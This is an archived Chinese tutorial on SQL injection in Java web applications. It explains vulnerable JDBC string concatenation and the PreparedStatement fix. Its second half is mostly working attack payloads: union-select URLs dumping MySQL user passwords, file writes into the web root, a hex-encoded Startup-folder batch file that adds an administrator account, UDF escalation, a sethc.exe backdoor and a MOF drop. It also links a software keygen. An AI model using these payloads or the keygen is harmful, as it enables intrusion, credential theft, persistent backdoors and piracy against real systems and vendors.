# 攻击JavaWeb应用[3]-SQL注入[1]

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2013-07-16T10:28:00Z
Canonical: https://wepostx.com/topics/667

> 乌云历史资料归档
>
> **原始作者：** 园长
> **原始编号：** superkieran-wooyundrops:43
> **原始发布时间：** 2013-07-16 18:28
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

#### 注:本节重点在于让大家熟悉各种SQL注入在JAVA当中的表现，本想带点ORM框架实例，但是与其几乎无意，最近在学习MongoDb，挺有意思的，后面有机会给大家补充相关。

### 0x00 JDBC和ORM

#### JDBC:
JDBC（Java Data Base Connectivity,java数据库连接）是一种用于执行SQL语句的Java API，可以为多种关系数据库提供统一访问。

#### JPA:
JPA全称Java Persistence API.JPA通过JDK 5.0注解或XML描述对象－关系表的映射关系，并将运行期的实体对象持久化到数据库中。是一个ORM规范。Hibernate是JPA的具体实现。但是Hibernate出现的时间早于JPA（因为Hibernate作者很狂，sun看不惯就叫他去制定JPA标准去了哈哈）。

#### ORM:
对象关系映射（ORM）目前有Hibernate、OpenJPA、TopLink、EclipseJPA等实现。

#### JDO:
JDO(Java Data Object )是Java对象持久化的新的规范，也是一个用于存取某种数据仓库中的对象的标准化API。没有听说过JDO没有关系，很多人应该知道PDO,ADO吧？概念一样。

#### 关系:
JPA可以依靠JDBC对JDO进行对象持久化，而ORM只是JPA当中的一个规范，我们常见的Hibernate、Mybatis和TopLink什么的都是ORM的具体实现。
概念性的东西知道就行了，能记住最好。很多东西可能真的是会用，但是要是让你去定义或者去解释的时候发现会有些困难。
重点了解JDBC是个什么东西，知道Hibernate和Mybatis是ORM的具体的实现就够了。

#### Object:
在Java当中Object类（java.lang.object）是所有Java类的祖先。每个类都使用 Object 作为超类。所有对象（包括数组）都实现这个类的方法。所以在认识Java之前应该有一个对象的概念。

#### 关系型数据库和非关系型数据库：
数据库是按照数据结构来组织、存储和管理数据的仓库。
关系型数据库，是建立在关系模型基础上的数据库。关系模型就是指二维表格模型,因而一个关系型数据库就是由二维表及其之间的联系组成的一个数据组织。当前主流的关系型数据库有Oracle、DB2、Microsoft SQL Server、Microsoft Access、MySQL等。
NoSQL，指的是非关系型的数据库。随着互联网web2.0网站的兴起，传统的关系数据库在应付web2.0网站，特别是超大规模和高并发的SNS类型的web2.0纯动态网站已经显得力不从心，暴露了很多难以克服的问题，而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。

```text
1、High performance - 对数据库高并发读写的需求。 2、Huge Storage - 对海量数据的高效率存储和访问的需求。 3、High Scalability && High Availability- 对数据库的高可扩展性和高可用性的需求。
```
常见的非关系型数据库:Membase、MongoDB、Hypertable、Apache Cassandra、CouchDB等。
常见的NoSQL数据库端口：

```text
MongoDB:27017、28017、27080 CouchDB:5984 Hbase:9000 Cassandra:9160 Neo4j:7474 Riak:8098
```
在引入这么多的概念之后我们今天的故事也就要开始了,概念性的东西后面慢慢来。引入这些东西不只仅仅是为了讲一个SQL注入，后面很多地方可能都会用到。
传统的JDBC大于要经过这么些步骤完成一次查询操作，java和数据库的交互操作:

```text
准备JDBC驱动 加载驱动 获取连接 预编译SQL 执行SQL 处理结果集 依次释放连接
```
sun只是在JDBC当中定义了具体的接口，而JDBC接口的具体的实现是由数据库提供厂商去写具体的实现的， 比如说Connection对象，不同的数据库的实现方式是不同的。
使用传统的JDBC的项目已经越来越少了，曾经的model1和model2已经被MVC给代替了。如果用传统的JDBC写项目你不得不去管理你的数据连接、事物等。而用ORM框架一般程序员只用关心执行SQL和处理结果集就行了。比如Spring的JdbcTemplate、Hibernate的HibernateTemplate提供了一套对dao操作的模版，对JDBC进行了轻量级封装。开发人员只需配置好数据源和事物一般仅需要提供一个SQL、处理SQL执行后的结果就行了，其他的事情都交给框架去完成了。
￼
![原文图片](/media/2016/06/cb75bb8a8010e8b4e3f2aa53b0392f69)

### 0x01 经典的JDBC的Sql注入

Sql注入产生的直接原因是拼凑SQL，绝大多数程序员在做开发的时候并不会去关注SQL最终是怎么去运行的，更不会去关注SQL执行的安全性。因为时间紧，任务重完成业务需求就行了，谁还有时间去管你什么SQL注入什么？还不如喝喝茶，看看妹子。正是有了这种懒惰的程序员SQL注入一直没有消失，而这当中不乏一些大型厂商。有的人可能心中有防御Sql注入意识，但是在面对复杂业务的时候可能还是存在侥幸心理，最近还是被神奇路人甲给脱裤了。为了处理未知的SQL注入攻击，一些大厂商开始采用SQL防注入甚至是使用某些厂商的WAF。

#### JDBCSqlInjectionTest.java类：

```text
package org.javaweb.test; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; public class JDBCSqlInjectionTest { /** * sql注入测试 * @param id */ public static void sqlInjectionTest(String id){ String MYSQLDRIVER = "com.mysql.jdbc.Driver";//MYSQL驱动 //Mysql连接字符串 String MYSQLURL = "jdbc:mysql://localhost:3306/wooyun?user=root&password=caonimei&useUnicode=true&characterEncoding=utf8&autoReconnect=true"; String sql = "SELECT * from corps where id = "+id;//查询语句 try { Class.forName(MYSQLDRIVER);//加载MYSQL驱动 Connection conn = DriverManager.getConnection(MYSQLURL);//获取数据库连接 PreparedStatement pstt = conn.prepareStatement(sql); ResultSet rs = pstt.executeQuery(); System.out.println("SQL:"+sql);//打印SQL while(rs.next()){//结果遍历 System.out.println("ID:"+rs.getObject("id"));//ID System.out.println("厂商:"+rs.getObject("corps_name"));//输出厂商名称 System.out.println("主站"+rs.getObject("corps_url"));//厂商URL } rs.close();//关闭查询结果集 pstt.close();//关闭PreparedStatement conn.close();//关闭数据连接 } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (SQLException e) { e.printStackTrace(); } } public static void main(String[] args) { sqlInjectionTest("2 and 1=2 union select version(),user(),database(),5 ");//查询id为2的厂商 } }
```
现在有以下Mysql数据库结构(后面用到的数据库结构都是一样)： ￼

![原文图片](/media/2016/06/a7ad414d3973d5e6b9f18774aeae35ab)

看下图代码是一个取数据和显示数据的过程。
第20行就是典型的拼SQL导致SQL注入，现在我们的注入将围绕着20行展开： ￼

![原文图片](/media/2016/06/8bd39e927b4e9c7308f532643001e87b)

当传入正常的参数”2”时输出的结果正常：
￼
![原文图片](/media/2016/06/4d6407c08b31d9847c9ea6c384262de2)

当参数为2 and 1=1去查询时，由于1=1为true所以能够正常的返回查询结果：
￼
![原文图片](/media/2016/06/e239c3302ccb5face0002a37753cd768)

当传入参数2 and 1=2时查询结果是不存在的，所以没有显示任何结果。
Tips:在某些场景下可能需要在参数末尾加注释符--,使用“--”的作用在于注释掉从当前代码末尾到SQL末尾的语句。
--在oracle和mssql都可用，mysql可以用# /**。
￼
![原文图片](/media/2016/06/4a90d7ec07dc45c69786b244846f1b45)

执行order by 4正常显示数据order by 5错误说明查询的字段数是4。 ￼

![原文图片](/media/2016/06/6443505ed7dacf655cc8cbfbac2f39ff)

Order by 5执行后直接爆了一个SQL异常： ￼

![原文图片](/media/2016/06/9d8607e5d3b5ee4a9ba3de9642f5e4b2)

用联合查询执行:2 and 1=2 union select version(),user(),database(),5 ￼

![原文图片](/media/2016/06/aa96ab80ccef23bcc8c2ebea5c73f6ea)

#### 小结论：
通过控制台执行SQL注入可知SQL注入跟平台无关、跟开发语言关系也不大，而是跟数据库有关。 知道了拼SQL肯定是会造成SQL注入的，那么我们应该怎样去修复上面的代码去防止SQL注入呢？其实只要把参数经过预编译就能够有效的防止SQL注入了，我们已经依旧提交SQL注入语句会发现之前能够成功注入出数据库版本、用户名、数据库名的语句现在无法带入数据库查询了：

![原文图片](/media/2016/06/2c5465b5a519af84fdf1321fb20ad2c5)

### 0x02 PreparedStatement实现防注入

SQL语句被预编译并存储在PreparedStatement对象中。然后可以使用此对象多次高效地执行该语句。

```text
Class.forName(MYSQLDRIVER);//加载MYSQL驱动 Connection conn = DriverManager.getConnection(MYSQLURL);//获取数据库连接 String sql = "SELECT * from corps where id = ? ";//查询语句 PreparedStatement pstt = conn.prepareStatement(sql);//获取预编译的PreparedStatement对象 pstt.setObject(1, id);//使用预编译SQL ResultSet rs = pstt.executeQuery();
```
￼
![原文图片](/media/2016/06/96e2a9655d020e7c648913ca3c7ba21e)

从Class.forName反射去加载MYSQL启动开始，到通过DriverManager去获取一个本地的连接数据库的对象。而拿到一个数据连接以后便是我们执行SQL与事物处理的过程。当我们去调用PreparedStatement的方法如：executeQuery或executeUpdate等都会通过mysql的JDBC实现对Mysql数据库做对应的操作。Java里面连接数据库的方式一般来说都是固定的格式，不同的只是实现方式。所以只要我们的项目中有加载对应数据库的jar包我们就能做相应的数据库连接。而在一个Web项目中如果/WEB-INF/lib下和对应容器的lib下只有mysql的数据库连接驱动包，那么就只能连接MYSQL了，这一点跟其他语言有点不一样，不过应该容易理解和接受，假如php.ini不开启对mysql、mssql、oracle等数据库的支持效果都一样。修复之前的SQL注入的方式显而易见了，用“？”号去占位，预编译SQL的时候会自动根据pstt里的参数去处理，从而避免SQL注入。

```text
String sql = "SELECT * from corps where id = ? "; pstt = conn.prepareStatement(sql);//获取预编译的PreparedStatement对象 pstt.setObject(1, id);//使用预编译SQL ResultSet rs = pstt.executeQuery();
```
在通过conn.prepareStatement去获取一个PreparedStatement便会以预编译去处理查询SQL，而使用conn.createStatement得到的只是一个普通的Statement不会去预编译SQL语句，但Statement执行效率和速度都比prepareStatement要快前者是后者的父类。
从类加载到连接的关闭数据库厂商根据自己的数据库的特性实现了JDBC的接口。类加载完成之后才能够继续调用其他的方法去获取一个连接对象，然后才能过去执行SQL命令、返回查询结果集(ResultSet)。
Mysql的Driver：

```text
public class Driver extends NonRegisteringDriver implements java.sql.Driver{}
```
在加载驱动处下断点（22行），可以跟踪到mysql的驱动连接数据库到获取连接的整个过程。

![原文图片](/media/2016/06/e2b3902b2c36a566676e534e8f730bc6)

![原文图片](/media/2016/06/51e2d3a522b3daf0b1b23e88c547e266)

![原文图片](/media/2016/06/8c6e6132fa00b452d845a858c88560a6)

F5进入到Driver类： ￼

![原文图片](/media/2016/06/55bca203d791e1f521aa23449a0ab4d1)

驱动加载完成后我们会得到一个具体的连接的对象Connection,而这个Connection包含了大量的信息，我们的一切对数据库的操作都是依赖于这个Connection的：

![原文图片](/media/2016/06/3c2c8168444097cfecaf616907fb51e6)

conn.prepareStatement(sql);
在获取PreparedStatement对象的时进入会进入到Connection类的具体的实现类ConnectionImpl类。
然后调用其prepareStatement方法。 ￼
而nativeSQL方法调用了EscapeProcessor类的静态方法escapeSQL进行转意，返回的自然是转意后的SQL。
预编译默认是在客户端的用com.mysql.jdbc.PreparedStatement本地SQL拼完SQL，最终mysql数据库收到的SQL是已经替换了“?”后的SQL，执行并返回我们查询的结果集。 从上而下大概明白了预编译做了个什么事情，并不是用了PreparedStatement这个对象就不存在SQL注入而是跟你在预编译前有没有拼凑SQL语句，

```text
String sql = “select * from xxx where id = ”+id//这种必死无疑。
```

#### Web中绕过SQL防注入：
Java中的JSP里边有个特性直接request.getParameter("Parameter");去获取请求的数据是不分GET和POST的，而看过我第一期的同学应该还记得我们的Servlet一般都是两者合一的方式去处理的，而在SpringMVC里面如果不指定传入参数的方式默认是get和post都可以接受到。
SpringMvc如：

```text
@RequestMapping(value="/index.aspx",method=RequestMethod.GET) public String index(HttpServletRequest request,HttpServletResponse response){ System.out.println("------------"); return "index"; }
```
上面默认只接收GET请求，而大多数时候是很少有人去制定请求的方式的。说这么多其实就是为了告诉大家我们可以通过POST方式去绕过普通的SQL防注入检测！

#### Web当中最容易出现SQL注入的地方：

```text
常见的文章显示、分类展示。 用户注册、用户登录处。 关键字搜索、文件下载处。 数据统计处（订单查询、上传下载统计等）经典的如select下拉框注入。 逻辑略复杂处(密码找回以及跟安全相关的)。
```

#### 关于注入页面报错：
如果发现页面抛出异常，那么得从两个方面去看问题，传统的SQL注入在页面报错以后肯定没法直接从页面获取到数据信息。如果报错后SQL没有往下执行那么不管你提交什么SQL注入语句都是无效的，如果只是普通的错误可以根据错误信息进行参数修改之类继续SQL注入。 假设我们的id改为int类型：

```text
int id = Integer.parseInt(request.getParameter("id")); ￼
```

![原文图片](/media/2016/06/5b530a5cc35bb03818baf54bd52bf9ca)

程序在接受参数后把一个字符串转换成int(整型)的时候发生异常，那么后面的代码是不会接着执行的哦，所以SQL注入也会失败。

#### Spring中如何安全的拼SQL(JDBC同理)：
对于常见的SQL注入采用预编译就行了，但是很多时候条件较多或较为复杂的时候很多人都想偷懒拼SQL。
写了个这样的多条件查询条件自动匹配：

```text
public static String SQL_FORUM_CLASS_SETTING = "SELECT * from bjcyw_forum_forum where 1=1 "; public List<Map<String, Object>> getForumClass(Map<String,Object> forum) { StringBuilder sql=new StringBuilder(SQL_FORUM_CLASS_SETTING); List<Object> ls=new ArrayList<Object>(); if (forum.size()>0) { for (String key : forum.keySet()) { Object obj[]=(Object [])forum.get(key); sql = SqlHelper.selectHelper(sql, obj); if ("like".equalsIgnoreCase(obj[2].toString().trim())) { ls.add("%"+obj[1]+"%"); }else{ ls.add(obj[1]); } } } return jdbcTemplate.queryForList(sql.toString(),(Object[])ls.toArray()); }
```
selectHelper方法：

```text
public static StringBuilder selectHelper(StringBuilder sql, Object obj[]){ if (Constants.SQL_HELPER_LIKE.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" like ?"); }else if (Constants.SQL_HELPER_EQUAL.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" = ?"); }else if (Constants.SQL_HELPER_GREATERTHAN.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" > ?"); }else if (Constants.SQL_HELPER_LESSTHAN.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" < ?"); }else if (Constants.SQL_HELPER_NOTEQUAL.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" != ?"); } return sql; }
```
信任客户端的参数一切参数只匹配查询条件，把参数和条件自动装配到框架。
如果客户端提交了危险的SQL也没有关系在query的时候是会预编译。
不贴了原文在：[http://zone.wooyun.org/content/2448](http://zone.wooyun.org/content/2448)

### 0x03 转战Web平台

看完了SQL注入在控制台下的表现，如果对上面还不甚清楚的同学继续看下面的Web注入。
首先我们了解下Web当中的SQL注入产生的原因: ￼

![原文图片](/media/2016/06/e19da0bf25c09a29ff338f24a694e937)

Mysql篇： 数据库结构上面已经声明，现在有以下Jsp页面，逻辑跟上面注入一致： ￼

![原文图片](/media/2016/06/36cabffaee4431d6421c7b21f05d0b41)

浏览器访问：http://localhost/SqlInjection/index.jsp?id=1

![原文图片](/media/2016/06/b567af557ecbe1b067db8c919ec29ab3)

上面我们已经知道了查询的字段数是4，现在构建联合查询，其中的1，2，3只是我们用来占位查看字段在页面对应的具体的输出。在HackBar执行我们的SQL注入，查看效果和执行情况： ￼

![原文图片](/media/2016/06/1716ed795f2f9b4990fa6b0878b14471)

#### Mysql查询和注入技巧：
只要是从事渗透测试工作的同学或者对Web比较喜爱的同学强荐大家学习下SQL语句和Web开发基础，SQL管理客户端有一个神器叫Navicat。支持MySQL, SQL Server, SQLite, Oracle 和 PostgreSQL databases。官方下载地址：[http://www.navicat.com/download](http://www.navicat.com/download)不过需要注册，注册机：[http://pan.baidu.com/share/link?shareid=271653&uk=1076602916](http://pan.baidu.com/share/link?shareid=271653&uk=1076602916) 其次是下载吧有全套的下载。

![原文图片](/media/2016/06/227c6a5932404be6c0ecf81858929d86)

似乎很多人都知道Mysql有个数据库叫information_schema里面存储了很多跟Mysql有关的信息，但是不知道里面具体都有些什么，有时间大家可以抽空看下。Mysql的sechema都存在于此，包含了字段、表、元数据等各种信息。也就是对于Mysql来说创建一张表后对应的表信息会存储到information_schema里面，而且可以用SQL语句查询。
使用Navicat构建SQL查询语句：

![原文图片](/media/2016/06/e797c77844ffdb8bace5aa33b0332633)

当我们在SQL注入当中找到用户或管理员所在的表是非常重要的，而当我们想要快速找到跟用户相关的数据库表时候在Mysql里面就可以合理的使用information_schema去查询。构建SQL查询获取所有当前数据库当中数据库表名里面带有user关键字的演示： ￼

![原文图片](/media/2016/06/911d42a096c06ca814f412e6cfc07316)

查询包含user关键字的表名的结果： ￼

![原文图片](/media/2016/06/8dc5a4364f60ebe597d1c610c5291046)

假设已知某个网站用户数据非常大，我们可以通过上面构建的SQL去找到对应可能存在用户数据信息的表。
查询Mysql所有数据库中所有表名带有user关键字的表，并且按照表的行数降序排列：

```text
SELECT i.TABLE_NAME,i.TABLE_ROWS FROM information_schema.`TABLES` AS i WHERE i.TABLE_NAME LIKE '%user%' ORDER BY i.TABLE_ROWS DESC
```
查只在当前数据库查询：

```text
SELECT i.TABLE_NAME,i.TABLE_ROWS FROM information_schema.`TABLES` AS i WHERE i.TABLE_NAME LIKE '%user%' AND i.TABLE_SCHEMA = database() ORDER BY i.TABLE_ROWS DESC
```
查询指定数据库： ￼

![原文图片](/media/2016/06/9c6b2cc6a679aa94c4b656330c4a6762)

查询字段当中带有user关键字的所有的表名和数据库名：

```text
SELECT i.TABLE_SCHEMA,i.TABLE_NAME,i.COLUMN_NAME FROM information_schema.`COLUMNS` AS i WHERE i.COLUMN_NAME LIKE '%user%' ￼
```

![原文图片](/media/2016/06/42ffd24a907b8db14e910b2d003e73ee)

#### CONCAT：

```text
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1￼
```

![原文图片](/media/2016/06/12720629cf04d4bea54722b07140a022)

#### GROUP_CONCAT

```text
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,GROUP_CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1
```

![原文图片](/media/2016/06/eadaf56c9e85a3fb982e33dcb2d0a860)

#### 注入点友情备份:

```text
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select '','',corps_name,corps_url from corps into outfile'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/1.txt'
```
注入在windows下默认是E:\如果用“\”去表示路径的话需要转换成E:\\而更方便的方式是直接用/去表示即E:/。 当我们知道WEB路径的情况下而又有outfile权限直接导出数据库中的用户信息。￼

![原文图片](/media/2016/06/fd99abef88918f745e0e8cdd0c251ccb)

而如果是在一些极端的情况下无法直接outfile我们可以合理的利用concat和GROUP_CONCAT去把数据显示到页面，如果数据量特别大，我们可以用concat加上limit去控制显示的数量。比如每次从页面获取几百条数据？写一个工具去请求构建好的SQL注入点然后把页面的数据取下来，那么数据库的表信息也可以直接从注入点全部取出来。

#### 注入点root权限提权：

##### 1、写启动项：
这个算是非常简单的了，直接写到windows的启动目录就行了，我测试的系统是windows7直接写到:C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup目录就行了。用HackBar去请求一下链接就能过把bat写入到我们的windows的启动菜单了，不过得注意的是360那个狗兔崽子：

```text
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 0x6E65742075736572207975616E7A20313233202F6164642026206E6574206C6F63616C67726F75702061646D696E6973747261746F7273207975616E7A202F616464,'','','' into outfile 'C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/1.bat'
```

![原文图片](/media/2016/06/6d7cbb50e14aa071f8344cab7b6490f6)

##### 2、失败的注入点UDF提权尝试：
MYSQL提权的方式挺多的，并不局限于udf、mof、写windows启动目录、SQL语句替换sethc实现后门等，这里以udf为例，其实udf挺麻烦的，如果麻烦的东东你都能搞定，简单的自然就能过搞定了。 在进行mysql的udf提权的时候需要注意的是mysql的版本，mysql5.1以下导入到windows目录就行了，而mysql<=5.1需要导入到插件目录。我测试的是Mysql 5.5.27我们的首要任务就是找到mysql插件路径。

```text
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,@@plugin_dir
```
获取插件目录方式：

```text
select @@plugin_dir select @@basedir show variables like ‘%plugins%’
```

![原文图片](/media/2016/06/3b7f7f04baca9ae3a56d32f1d51e9743)

通过MYSQL预留的变量很轻易的就找到了mysql所在目录，那我们需要把udf导出的绝对路径就应该是：D:/install/dev/mysql5.5/lib/plugin/udf.dll。现在我们要做的就是怎样通过SQL注入去把这udf导出到上述目录了。 我先说下我是怎么从错误的方法到正确导入的一个过程吧。首先我执行了这么一个SQL：

```text
SELECT * from corps where id = 1 and 1=2 union select '','','',(CONVERT(0xudf的十六进制 ,CHAR)) INTO DUMPFILE 'D:/install/dev/mysql5.5/lib/plugin/udf.dll'
```
因为在命令行或执行单条语句的时候转换成char去dumpfile的时候是可以成功导出二进制文件的。 我们用浏览器浏览网页的时候都是以GET方式去提交的，而如果我用GET请求去传这个十六进制的udf的话显然会超过GET请求的限制，于是我简单的构建了一个POST请求去把一个110K的0x传到后端。

![原文图片](/media/2016/06/54930dc011e4e23ecfb4015470096e53)

用hackbar去发送一个post请求发现失败了，一定是我打开方式不对，呵呵。随手写了个表单提交下： 下载地址: [http://pan.baidu.com/share/link?shareid=1711769621&uk=1076602916￼](http://pan.baidu.com/share/link?shareid=1711769621&uk=1076602916)

![原文图片](/media/2016/06/f2fff9f80825275b1bc003dcd17e53e5)

提交表单以后发现文件是写进去了，但是为什么就只有84字节捏？ ￼

![原文图片](/media/2016/06/454b7af8eea4dfb0dd3c0eab1917510c)

难道是数据传输的时候被截断了？不至于吧，于是用navicat执行上面的语句： ￼

![原文图片](/media/2016/06/7f3c484d7764a66b9b732f4b78d03b6c)

我似乎傻逼了，因为查询结果还是只有84字节，结果显然不是我想要的。84字节，不带这么坑的。一计不成又生二计。 不让我直接dumpfile那我间接的去写总行吧？ ￼

![原文图片](/media/2016/06/0697aa5d4e137f518ec76d39f729899c)

1 and 1=2 union select '','','',0xUDF转换后的16进制 INTO outFILE'D:/install/dev/mysql5.5/lib/plugin/udf.txt'发现格式不对，给hex加上单引号以字符串方式写入试下: 1 and 1=2 union select '','','',’0xUDF转换后的16进制’ INTO outFILE'D:/install/dev/mysql5.5/lib/plugin/udf.txt'

![原文图片](/media/2016/06/a7f2a6a8ae53fe86506c322396297fb4)

这次写入的起码是hex了吧，再load_file到查询里面不就行了吗？我们知道load_file得到的肯定是一个blob吧。 ￼

![原文图片](/media/2016/06/f6926286fdfd2622fd72e5e089d977ce)

那么在注入点这么去构建一下不就行了： ￼

![原文图片](/media/2016/06/63820e548b291bc0335a0bf7ac950602)

其实这都已经2到家了，这跟第一次提交的数据根本就没有两样。Load file在这里依旧被转换成了0x，我想这不行的话那么应该就只能在blob字段去load_file才能成功吧，因为现在load到了一个字段类型是text的位置里面。估计是被当字符串处理了，但是很显然是没法去找个blob的字段的，(用上面去information_schema去找应该能找到)。也就是说现在需要的是一个blob去临时的存储一下。又因为我们知道MYSQL是不支持多行查询的，所以我们根本就没有办法去建表(想过copy查询建表，但是显然是行不通的)。 这不科学，一定是打开方式不对。CAST 和CONVERT 转换成CHAR都不行。能转换成blob之类的吗？CONVERT(0xsbsbsb,BLOB)发现失败了，把BLOB换成 BINARY发现成功执行了。 于是用构建的表单再次执行下面的语句： SELECT * from corps where id = 1 and 1=2 union select '','','', CONVERT(0x不解释,BINARY) INTO DUMPFILE'D:/install/dev/mysql5.5/lib/plugin/udf.dll'

![原文图片](/media/2016/06/8c1733cf06053e2ad8b7d7f31d265839)

这次执行成功了，哦多么痛的领悟……一开始把CHAR写成BINARY不就搞定了，二的太明显了。其实上面的二根本就不是事儿，更二的是当我要执行的时候恍然发现根本就没有办法去创建function啊！ O shit shift~ Mysql Driver在pstt.executeQuery()是不支持多行查询的，一个select 在怎么也不能跟create同时执行。为了不影响大家心情还是继续写下去吧，命令行建立一个function，然后在注入点注入（如果有前人已经创建udf的情况下可以直接利用）： ￼

![原文图片](/media/2016/06/9465ffe2dc68084c1b671c7a47799ef8)

因为没有办法去创建一个function所以用注入点实现udf提权在上一步就死了，通过在命令行执行创建function只能算是心灵安慰了，只要完成了create function那一步我们就真的成功了，因为调用自定义function非常简单：

![原文图片](/media/2016/06/61bf1b691e6d5b5e729beb761c53013d)

#### MOF和sethc提权：
MOF和sethc提权我就不详讲了，因为看了上面的udf提权你已经具备自己导入任意文件到任意目录了，而MOF实际上就是写一个文件到指定目录，而sethc提权我只成功模糊的过一次。在命令行下利用SQL大概是这样的：

```text
create table mix_cmd( shift longblob); insert into mix_cmd values(load_file(‘c:\windows\system32\cmd.exe’)); select * from mix_cmd into dumpfile ‘c:\windows\system32\sethc.exe’; drop table if exists mix_cmd;
```
现在的管理员很多都会自作聪明的去把net.exe、net1.exe 、cmd.exe、sethc.exe删除防止入侵。当sethc不存在时我们可以用这个方法去试下，怎么确定是否存在?load_file下看人品了,如果cmd和sethc都不存在那么按照上面的udf提权三部曲上传一个cmd.exe到任意目录。

```text
SELECT LOAD_FILE('c:/windows/system32/cmd.exe') INTO DUMPFILE'c:/windows/system32/sethc.exe'
```
MOF大约是这样：

```text
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select char(ascii转换后的代码),'','','' into dumpfile 'c:/windows/system32/wbem/mof/nullevts.mof'
```

#### Mysql小结：
我想讲的应该是一种方法而不是SQL怎么去写，学会了方法自然就会自己去拓展，当然了最好不要向上面udf那么二。有了上面的demo相信大家都会知道怎么去修改满足自己的需求了。学的不只是方法而是思路切记！

## Replies
